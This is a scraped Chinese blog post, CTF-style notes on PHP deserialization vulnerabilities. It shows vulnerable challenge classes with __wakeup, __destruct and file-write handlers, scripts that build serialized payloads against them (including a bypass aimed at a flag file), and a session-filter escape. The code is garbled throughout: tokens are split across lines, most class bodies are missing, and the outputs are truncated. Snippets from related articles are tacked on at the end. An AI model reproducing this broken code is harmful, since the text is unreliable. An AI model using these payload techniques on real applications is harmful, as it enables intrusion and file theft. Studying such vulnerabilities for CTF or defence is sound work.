PHP序列化和反序列化漏洞

2021-10-18 08:16:43 字數 3504 閱讀 7388

反序列化

序列化漏洞+例項

函式同名方法利用

反序列化逃逸

<?php

$sites

=array

('google'

,'runoob'

,'facebook');

$serialized_data

=serialize

($sites);

echo

$serialized_data

.php_eol

;?>

//輸出 a:3:

<?php

class

test$a=

newtest()

;$a=serialize($a

);print_r($a

);?>

// o:4:"test":2:

重點這裡需要注意的是當序列化的物件裡面有私有屬性和保護屬性的時候,私有屬性下格式是%00類名%00成員名,保護屬性下是%00*%00成員名

class

xctf

?code=

<?php

class

xctf}$a

=new

xctf()

;$b=serialize($a

);echo$b;

?>

<?php

class

demo

function

__destruct()

function

__wakeup()

}}if(

isset

($_get

['var'])

)else

}else

?>

<?php

class

demo

function

__destruct()

function

__wakeup()

}}$a=

newdemo

('fl4g.php');

$b=serialize($a

);echo$b;

?>

<?php

include

("flag.php");

highlight_file

(__file__);

class

filehandler

public

function

process()

elseif(

$this

->

op==

"2")

else

}private

function

write()

$res

=file_put_contents

($this

->

filename

,$this

->

content);

if($res

)$this

->

output

("successful!");

else

$this

->

output

("failed!");

}else

}private

function

read()

return

$res;}

private

function

output($s

)function

__destruct()

}function

is_valid($s

)if(isset

($_get))

}

<?php

class

filehandler$a=

newfilehandler()

;$b=serialize($a

);echo$b;

?>

# o:11:"filehandler":3:

上網查了這個題的wp,原題好像和這道題有點出入,看了一下學了些方法

<?php

$function

= @$_get

['f'];

function

filter

($img)if

($_session

)$_session

["user"]=

'guest'

;$_session

['function']=

$function

;extract

($_post);

if(!$function)if

(!$_get

['img_path'])

else

$serialize_info

=filter

(serialize

($_session))

;if($function

=='highlight_file'

)elseif(

$function

=='phpinfo'

)elseif(

$function

=='show_image'

)

if

(preg_match

('/[^a-za-z0-9_]/'

,$_post

['nickname'])

||strlen

($_post

['nickname'])

>10)

die(

'invalid nickname'

);

<?php

$profile

['phone']=

'12345678990'

;$profile

['email']=

'[email protected]'

;$profile

['nickname']=

['abcdefg'];

$profile

['photo']=

'config.php'

;echo

serialize

($profile);

?>

a:4:s:5:"photo";s:10:"config.php";}

public

function

filter

($string

)

php序列化和反序列化

把複雜的資料型別壓縮到乙個字串中 serialize 把變數和它們的值編碼成文字形式 unserialize 恢復原先變數 1.建立乙個 arr陣列用於儲存使用者基本資訊,並在瀏覽器中輸出檢視結果 arr array arr name 張三 arr age 22 arr 男 arr phone 12...

php序列化和反序列化

序列化與反序列化 把複雜的資料型別壓縮到乙個字串中 serialize 把變數和它們的值編碼成文字形式 unserialize 恢復原先變數 1.建立乙個 arr陣列用於儲存使用者基本資訊,並在瀏覽器中輸出檢視結果 arr array arr name 張三 arr age 22 arr 男 arr...

長亭php反序列化防護 PHP反序列化漏洞詳解

php反序列化漏洞 首先我們要了解反序列化就要明白什麼是序列化 序列化序列化是乙個將物件轉化為例項的過程 在php檔案中,有的物件內容需要使用,但是使用的頻率不高,將 存放的話會占用系統資源,但是刪除則下次使用時就要重新碼增加了負擔,所以序列化就幫助程式設計師解決了這個問題,它可以將不常用的 進行序...